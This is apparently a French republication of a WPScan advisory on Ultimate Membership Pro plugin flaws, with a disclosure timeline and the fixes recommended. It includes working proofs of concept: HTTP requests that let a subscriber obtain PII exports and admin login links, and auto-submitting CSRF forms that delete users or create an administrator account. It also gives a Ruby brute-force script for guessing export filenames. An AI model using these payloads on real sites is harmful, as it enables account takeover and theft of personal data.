Analyse des vulnérabilités récentes du plugin WordPress Ultimate Membership Pro Premium

Informations sur le plugin

  • Slug : indeed-membership-pro
  • URL du vendeur : https://codecanyon.net/item/ultimate-membership-pro-wordpress-plugin/12159253
  • Versions affectées :
    • < 8.6.1 pour les problèmes d’autorisation
    • < 8.6.2 pour AJAX CSRF et entropie insuffisante des noms de fichiers
    • < 8.7 pour CSRF pour supprimer/créer des comptes

IDs WPVulnDB connexes

Contexte

En vérifiant la correction de problèmes critiques dans un plugin premium, nous sommes tombés sur une entropie de nom de fichier insuffisante où la fonction PHP time() était utilisée pour générer une partie de la chaîne hachée md5 pour former le nom de fichier. Ces fichiers contiennent généralement des données sensibles, comme des logs, des PII, etc. Et comme ce n’est pas la première fois que nous voyons une telle erreur, nous avons pensé que ce serait une bonne idée d’en faire un billet.

Absence de contrôle d’autorisation dans les appels AJAX (WPVulnDB 10061, v < 8.6.1)

Le 3 février, nous avons reçu un rapport via le formulaire de soumission de WPVulnDB concernant plusieurs problèmes critiques dans un plugin premium, Ultimate Membership Pro (indeed-membership-pro slug), liés à l’absence de vérification des autorisations dans les appels AJAX, permettant aux utilisateurs à faibles privilèges, tels que les abonnés, d’effectuer des actions d’administration telles que la génération d’un export contenant des informations personnelles (nom d’utilisateur, adresse e-mail, adresse IP, User-Agent, etc. De plus, si une exportation avait déjà été effectuée par un administrateur, le fichier était accessible publiquement avec un chemin d’accès facile à trouver.

Même si nous n’avons pas été en mesure de confirmer les problèmes AJAX sur le blog de démonstration du plugin de l’auteur à l’époque (il a été rapporté par la suite que la démo utilisait une ancienne version du plugin), le fichier export.xml avait déjà été généré et était accessible publiquement. En outre, nous étions assez confiants dans la validité des problèmes en raison de l’historique des soumissions du chercheur.

Les trois PoC ci-dessous proviennent du chercheur, Noman Riffat, et nécessitent un compte à faible privilège, tel que celui d’abonné (cependant, en raison de la nature du plugin, l’enregistrement est susceptible d’être activé).

PoC pour générer un rapport

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}

action=ihc_make_export_file&import_users=1&import_settings=1&import_postmeta=1

Qui répondra avec l’URL du fichier d’exportation, contenant PII : http://example.com/wp-content/plugins/indeed-membership-pro/export.xml.

Le fichier était alors disponible publiquement, et nous avons confirmé sa présence sur le blog de démonstration de l’auteur du plugin.

PoC pour générer des liens d’authentification
Avec un nom d’utilisateur :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}

action=ihc_generate_direct_link&username=admin

Avec une identification :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}

action=ihc_generate_direct_link_by_uid&uid=1

Les deux requêtes ci-dessus répondront par un lien qui, une fois ouvert, conduira à une connexion directe sans nécessiter d’informations d’identification, par exemple http://example.com/?ihc_action=dl&token=94bb1bcba42feb2e19565a44b3d96838fef9e791.

Le fournisseur a publié la version 8.6.1, qui corrige les contrôles d’autorisation, mais après avoir vérifié la différence, nous (WPScanTeam) avons constaté que les corrections n’étaient pas suffisantes.

Plusieurs problèmes CSRF via des appels AJAX et une entropie insuffisante des noms de fichiers (WPVulnDB 10086, v < 8.6.2)

Une vérification indeedIsAdmin() a été ajoutée à tous les appels AJAX pour l’autorisation, cependant les appels manquaient toujours la vérification CSRF. Par conséquent, un attaquant pouvait forcer un administrateur connecté à supprimer des utilisateurs et à supprimer des coupons via des attaques CSRF sur ces appels.

PoC pour supprimer l’utilisateur avec l’ID 1 via une attaque CSRF

<html>
<body onload="document.forms[0].submit();">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="ihc_delete_user_via_ajax" />
<input type="hidden" name="id" value="1" />
</form>
</body>
</html>

Le fichier export.xml est maintenant généré avec $filename = md5( time() . rand(1, 10000) . ‘export’ ) . ‘.xml’ ; (dans admin/main.php, ihc_make_export_file()). L’utilisation de time() ici n’est pas assez aléatoire, et un attaquant pourrait utiliser une attaque CSRF pour qu’un administrateur connecté régénère un fichier, enregistre l’horodatage et effectue une attaque par force brute contre le nom du fichier. Une fois CSRFed, la force brute prendrait moins de 30 minutes (en fonction du temps de réponse cible), elle a pris maximum 20 minutes dans notre environnement de test.

Il semble que la méthode ihc_make_csv_user_list() (dans utilities.php) appelée par la méthode AJAX ihc_return_csv_link() (dans admin/main.php) soit également affectée car une fois de plus, une valeur temporelle est utilisée comme bit aléatoire pour générer un nom de fichier md5 haché. D’autres méthodes peuvent également être affectées.

PoC pour régénérer une exportation via une attaque CSRF et forcer son chemin par Brute Force

<-- csrf.html --> 
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<script language="javascript" type="text/javascript" src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
</head>
<body>
<script language="javascript" type="text/javascript">
jQuery(function ($) {
$('#attack').click(doCSRF);
$('#clear').click(function() { $('#output').empty(); });

function timestamp() { return Math.floor(Date.now() / 1000); }

function writeToScreen(message) { $('#output').append(message + '<br /><br />'); }

function brute_force_command(time_before_csrf, time_after_crsf) {
return 'ruby brute_force.rb -s ' + time_before_csrf + ' -e ' + time_after_crsf + ' --url ' + $('#target').val();
}

function doCSRF() {
time_before_csrf = timestamp();

var rq = $.ajax({
type: 'POST',
url: $('#target').val() + 'wp-admin/admin-ajax.php',
data: 'action=ihc_make_export_file&import_users=1&import_settings=1&import_postmeta=1',
xhrFields: { withCredentials: true },
success: function(data) { writeToScreen('Got link from CSRF response: ' + data); } // In case the server supports arbitrary CORS, unlikely
})
// When CORS prevents reading the response
.fail(function(data) { writeToScreen('Brute Force with ' + brute_force_command(time_before_csrf, timestamp())); });
}
});
</script>
<input type="text" id="target" size="50" value="https://example.com/" />
<input type="button" id="attack" value="Execute CSRF" />
<br /><br />Output:
<button id="clear">Clear</button>
<br /> <pre><div id="output"></div></pre>
</body>
</html>

# brute_force.rb
require 'typhoeus'
require 'digest'
require 'ruby-progressbar'
require 'thread'
require 'opt_parse_validator'

begin
parsed_cli = OptParseValidator::OptParser.new.add(
OptParseValidator::OptString.new(['--url URL', 'The URL of the blog'], required: true),
OptParseValidator::OptInteger.new(['--start STARTING_TIMESTAMP', '-s', 'The Sarting timestamp'], required: true),
OptParseValidator::OptInteger.new(['--end ENDING_TIMESTAMP', '-e', 'The Ending timestamp'], required: true),
OptParseValidator::OptInteger.new(['--threads THREADS', '-t', 'The number of threads to used'], default: 15)
).results

base_url = parsed_cli[:url]
base_url << '/' unless base_url.end_with?('/')
base_url << 'wp-content/plugins/indeed-membership-pro/'

request_options = { proxy: parsed_cli[:proxy] }
rescue OptParseValidator::Error => e
puts 'Parsing Error: ' + e.message
end

queue = Queue.new

(parsed_cli[:start]..parsed_cli[:end]).each do |time|
10000.times.to_a.sample(10000).each do |i|
filename = Digest::MD5.hexdigest("#{time}#{i}export") + '.xml'

queue.push(base_url + filename)
end
end

progress_bar = ProgressBar.create(total: queue.size, format: '%t %a <%B> (%c / %C) %P%% %e')
found = false

begin
workers = parsed_cli[:threads].times.map do
Thread.new do
while !queue.empty? && !found && url = queue.pop(true)
begin
res = Typhoeus.head(url, request_options)

progress_bar.increment unless progress_bar.stopped?

next unless res.code == 200

progress_bar.log("Found! - #{res.headers['Content-Length']} - #{res.headers['Content-Type']} - #{url}")

found = true
rescue StandardError => e
progress_bar.log("#{url} - #{e.message}")
end
end
end
end

workers.map(&:join)
ensure
progress_bar.stop
end
% ruby brute_force.rb -s 1581690389 -e 1581690390 --url http://example.com/
Found! - 53622 - application/xml - http://example.com/wp-content/plugins/indeed-membership-pro/9af5f4948d81403426a6c4874d1c4e0a.xml 
Progress Time: 00:04:52 <=== > (7266 / 20000) 36.33% ETA: ??:??:??

Les fichiers précédemment générés par ihc_return_csv_link() et ihc_make_export_file() n’ont pas été supprimés. Même si les noms de fichiers sont des chaînes hachées md5 (de bits non aléatoires), les laisser là augmente le risque qu’un attaquant les devine, ce qui entraînerait une fuite de PII.

Nous avons donné la recommandation suivante aux développeurs :

  • Ajouter des contrôles CSRF sur tous les appels AJAX ;
  • Utiliser la fonction PHP random_bytes() pour générer la partie aléatoire des noms de fichiers, au lieu d’une
  • fonction basée sur le temps comme time() ;
  • Assurez-vous que les fichiers exportés précédemment générés sont supprimés lorsqu’un nouveau fichier est créé ;
  • S’assurer que le fichier export.xml est supprimé s’il est présent dans la dernière version du plugin.

Cross-Site Request Forgery permettant la suppression et la création arbitraires de comptes (WPVulnDB 10087, v < 8.7)

En confirmant les correctifs pour les problèmes précédents, nous avons remarqué deux CSRF (pas via des appels AJAX comme précédemment), qui pourraient permettre la suppression et la création arbitraires de comptes, y compris avec le rôle d’administrateur pour le dernier.

PoC pour supprimer des utilisateurs arbitraires via une attaque CSRF

<html>
<body onload="document.forms[0].submit();">
<form action="https://example.com/wp-admin/admin.php?page=ihc_manage&tab=users" method="POST">
<input type="hidden" name="ihc_limit" value="25" />
<input type="hidden" name="delete_users[]" value="5" />
<input type="hidden" name="delete" value="Delete" />
</form>
</body>
</html>

PoC pour créer un compte administrateur via une attaque CSRF

<html>
<!-- Account will not show up in the plugin's users list (because of admin role), but will be in the WP users list -->
<body onload="document.forms[0].submit();">
<form action="https://example.com/wp-admin/admin.php?page=ihc_manage&tab=users" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_login" value="admin-csrf" />
<input type="hidden" name="user_email" value="admin-csrf@attacker.com" />
<input type="hidden" name="first_name" value="Admin" />
<input type="hidden" name="last_name" value="CSRF" />
<input type="hidden" name="pass1" value="Passw0rd" />
<input type="hidden" name="pass2" value="Passw0rd" />
<input type="hidden" name="role" value="administrator" />
<input type="hidden" name="ihc_user_levels" value="-1" />
<input type="hidden" name="ihc_overview_post" value="-1" />
<input type="hidden" name="Submit" value="Register" />
</form>
</body>
</html>

Compte tenu de l’absence récurrente de contrôles CSRF sur les actions, nous avons recommandé aux développeurs de procéder à une révision de leur plugin pour s’assurer que les contrôles appropriés sont en place.

Chronologie

  • 1er février 2020 – Le chercheur a essayé de contacter les développeurs par e-mail et dans la section des commentaires sur Envato.
  • 3 février 2020 – Rapport reçu via le formulaire de soumission WPVulnDB et transmis à Envato.
  • 4 février 2020 – Envato enquête.
  • 4 février 2020 – Sortie de la v8.6.1, les développeurs ont répondu (via Envato) que les problèmes étaient dus au plugin annulé utilisé par le chercheur.
  • 7 février 2020 – Nous avons confirmé que les problèmes sont valides et ne sont pas dus à un plugin annulé comme le prétendaient les développeurs. De plus, les tentatives de correction n’étaient pas suffisantes et
  • Envato a été notifié à nouveau avec plus de détails et un morceau de code vulnérable.
  • 8 février 2020 – Envato a répondu que les problèmes ont été vérifiés et que les développeurs ont été notifiés.
  • 13 février 2020 – Sortie de la v8.6.2.
  • 14 février 2020 – Envato parvient à nous informer de la mise à jour.
  • 17 février 2020 – Réponse à Envato après avoir confirmé que les problèmes ont été corrigés. Nous leur avons également signalé deux CSRF identifiés lors de la vérification des correctifs.
  • 22 février 2020 – Publication de la v8.7, corrigeant les deux CSRF supplémentaires trouvés. D’autres contrôles CSRF ont également été mis en place.
  • 6 mars 2020 – Publication de tous les PoC et de ce rapport.

Note

Il y avait un autre fichier sensible avec le même comportement que le fichier export.xml (accessible au public, entropie insuffisante, etc.). Même si cela n’a pas été détaillé dans ce rapport, il a été corrigé.

Merci à
Envato, pour la réponse rapide et l’escalade. Même s’ils avaient un grand nombre de tickets (et le temps de réponse pouvait prendre jusqu’à 7 jours), nous avons obtenu une réponse en 24h et une correction potentielle 3 jours après par les développeurs du plugin.
Le chercheur original, Noman Riffat

Référence : Ultimate Membership Pro Premium WordPress Plugin Recent Vulnerabilities Breakdown
Photo by Pixabay from Pexels

Author avatar
Yvon
https://oeildelynx.net